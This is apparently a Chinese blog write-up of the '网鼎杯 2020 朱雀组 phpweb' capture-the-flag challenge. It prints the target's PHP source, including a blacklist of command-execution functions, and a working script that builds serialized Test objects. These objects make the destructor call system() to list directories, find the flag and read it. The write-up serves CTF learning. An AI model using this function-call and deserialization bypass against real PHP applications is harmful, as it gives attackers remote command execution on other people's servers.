[网鼎杯 2020 朱雀组]phpweb

解题过程如下

抓包

进来的页面不对劲,虽然不知道什么梗但是有一说一确实丑,如果注意一下还会发现这个页面在不断刷新,先抓个包看看。在这里插入图片描述
发现这里上传了两个参数,分别是funcp
在这里插入图片描述

获取源码

func猜测是function,p应该是payload(猜的),那么简单明了的东西应该是一个调用func上传的函数名,参数采用p传上来的参数。于是构造:

func=file_get_contents&p=index.php

在这里插入图片描述
源码:

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

审计

得到源码以后才知道原来是call_user_func()函数,还是见得少了,大佬估计直接能看出来是这个函数,我还要靠猜。

$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

这里那么多函数被禁了,主要还是禁了system比较难受,但是问题不大,毕竟没有禁file_get_contentscat以及serialize

这里serialize才是重点(敲黑板!),毕竟源码里给我们提供了一个Test类

class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

然后简单明了构造payload:

<?php
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }

    $a = new Test();
    // $a->p = 'ls ../../../';          ==>  O:4:"Test":2:{s:1:"p";s:12:"ls ../../../";s:4:"func";s:6:"system";}
    // $a -> p = "find / -name 'flag*'";        ⇒  O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}
    $a -> p = 'cat /tmp/flagoefiu4r93';     //  ==>  O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
    $a -> func = 'system';

    echo (serialize($a));

    ?>

这里利用p参数前后构造了三个payload,flag:
在这里插入图片描述

posted @ 2020-10-14 16:09  WakeUpp  阅读(840)  评论(0编辑  收藏  举报